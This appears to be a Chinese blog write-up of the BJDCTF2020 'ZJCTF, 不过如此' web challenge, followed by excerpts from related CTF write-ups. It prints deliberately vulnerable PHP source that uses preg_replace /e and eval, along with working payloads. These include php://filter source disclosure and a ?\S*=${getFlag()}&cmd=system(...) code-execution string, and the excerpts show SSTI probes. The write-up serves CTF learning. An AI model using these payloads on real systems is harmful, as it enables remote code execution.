首页 > 其他分享 >[BJDCTF2020]ZJCTF,不过如此

[BJDCTF2020]ZJCTF,不过如此

时间:2024-10-27 22:16:59浏览次数:7  
标签:匹配 不过如此 ZJCTF text preg replace re str BJDCTF2020

打开题目就是源码

看到使用file_get_contents()函数打开text,看到file就想到了文件包含,但是本题使用file://协议并不行,里边有个封装的text文件,需要使用data://协议

php 5.2.0 起,数据流封装器开始有效,主要用于数据流的读取,如果传入的数据是PHP代码就会执行代码。使用方法为:data://text/plain;base64,xxxx(base64编码后的数据)

所以我们构造paload:

?text=data://text/plain,I have a dream&file=php://filter/convert.base64-encode/resource=next.php

得到源码

解码后得到的源码

<?php

$id = $_GET['id'];

$_SESSION['id'] = $id;

function complex($re, $str) {

    return preg_replace(

        '/(' . $re . ')/ei',

        'strtolower("\\1")',

        $str

    );

}

foreach($_GET as $re => $str) {

    echo complex($re, $str). "\n";

}

function getFlag(){

  @eval($_GET['cmd']);

}

从源码可以看出漏洞出在preg_replace /e 模式下

e模式下的preg_replace可以让第二个参数'替换字符串'当作代码执行,但是这里第二个参数是不可变的,但因为有这种特殊的情况,正则表达式模式或部分模式两边添加圆括号会将相关匹配存储到一个临时缓存区,并且从1开始排序,而strtolower("\1")正好表达的就是匹配区的第一个(\\1=\1),从而我们如果匹配可以,则可以将函数实现。

比如我们传入  ?.*={${phpinfo()}}

原句:preg_replace('/(' . $re . ')/ei','strtolower("\\1")',$str);

就变成preg_replace('/(' .* ')/ei','strtolower("\\1")',{${phpinfo()}});

又因为PHP中命名规则是没有 (. )的,而且一些非法字符是会被替换成 _ 的。所以也就导

致正则匹配错误,无法被执行

这里我们就需要把 .(点号)改成下划线,因此得将\.*换成\S*

[\s]表示,只要出现空白就匹配

[\S]表示,非空白就匹配

那么它们的组合[\s\S],表示所有的都匹配

"."是不会匹配换行的,所有出现有换行匹配的时候,就习惯使用[\s\S]来完全通配模式。

然后调用 getFlag() 函数,给 cmd 赋值恶意代码达到被代码执行的效果

最后构造payload:?\S*=${getFlag()}&cmd=system('ls /');

改一下命令执行cat得到flag

标签:匹配,不过如此,ZJCTF,text,preg,replace,re,str,BJDCTF2020
From: https://blog.csdn.net/zarbb/article/details/143272275

相关文章

  • [BJDCTF2020]The mystery of ip
    (PHP的Twig模版注入漏洞,Smarty模板的SSTI漏洞)打开题目目录扫描,扫出来DS_Store、flag.php、header.php,访问flag.php访问header.php,flag就是上面那个点击hint在flag.php中有IP,题目翻译过来就是ip的奥秘,推测有x-forword-for注入,抓一下包修改请求头,添加一个X-Forwarded-......
  • [ZJCTF 2019]NiZhuanSiWei
    启动靶机,查看源代码查询file_get_contents()函数这里传入的text必须是个文件且文件内容为welcometothezjctf这里我们使用data伪协议将内容写入?text=data://text/plain,welcometothezjctf往下看有个正则表达式过滤flag,继续往下很明显是php的反序列化利用,却没有看......
  • [BJDCTF2020]Cookie is so stable
    首先这题flag模块有个登录页面抓包可以看到user=123,最后会返回hello123,这里就很像ssti注入,输入user={{2*3}}最后也是返回成功了,而且处理器是php,常见模块有:twig,smarty,blade输入user={{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}......
  • [BJDCTF2020]Mark loves cat
    这题进去是一个网页,最后发现没有什么东西,最后查看源码发现,在源码的最后输出了一个dog这里就断定肯定存在一些隐藏的文件,最后通过kali扫描也是发现了一些.git文件,然后就想到了git源码泄露,但是不知道为什么我的扫描不出,就只好在网上找了大佬的代码了index.php<?phpinclude'......
  • 呵,老板不过如此,SQL还是得看我
    2018年7月,大三暑假进行时,时间过得飞快,我到这边实习都已经一个月了。我在没工作之前,我老是觉得生产项目的代码跟我平时自学练的会有很大的区别。以为生产项目代码啥的都会规范很多,比如在接口上会做很多安全性的工作(自学练的时候确实学到的类似的案例),代码设计上会有很多设计模式的应......
  • 呵,老板不过如此,SQL还是得看我
    2018年7月,大三暑假进行时,时间过得飞快,我到这边实习都已经一个月了。我在没工作之前,我老是觉得生产项目的代码跟我平时自学练的会有很大的区别。以为生产项目代码啥的都会规范很多,比如在接口上会做很多安全性的工作(自学练的时候确实学到的类似的案例),代码设计上会有很多设计模式的......
  • [BJDCTF2020]The mystery of ip
    [BJDCTF2020]Themysteryofip、参考:PHP的模板注入(Smarty模板)Step根据提示,尝试伪造ipX-Forwarded-For:1发现回显也是1所以可能是模板注入,尝试X-Forwarded-For:{config}回显::Uncaught-->SmartyCompiler:Syntaxerrorintemplate"string:{config}"online1"{c......
  • [ZJCTF 2019]NiZhuanSiWei
    [ZJCTF2019]NiZhuanSiWeiStep1开靶机,获得php源码<?php$text=$_GET["text"];$file=$_GET["file"];$password=$_GET["password"];if(isset($text)&&(file_get_contents($text,'r')==="welcometothezjctf......
  • [BJDCTF2020]EasySearch(ssi注入)
    看题目就知道藏的有东西挨个试试发现在index.php.swpvim缓存泄露,在使用vim进行编辑时,会产生缓存文件,操作正常,则会删除缓存文件,如果意外退出,缓存文件保留下来,这是时可以通过缓存文件来得到原文件,以index.php来说,第一次退出后,缓存文件名为index.php.swp,第二次退出后,缓存文件......
  • [BJDCTF2020]Easy MD5
    [BJDCTF2020]EasyMD5Step1看源代码没线索,用burp抓包看一下:发现提示,发现输入的是password要构造使password=’or‘1的形式使之形成永真的语句md5($pass,true)应该就是将pass的值md5加密后成十六进制转换成字符这时候276f7227就是十六进制的'or',只要MD5加密成276f7227+(......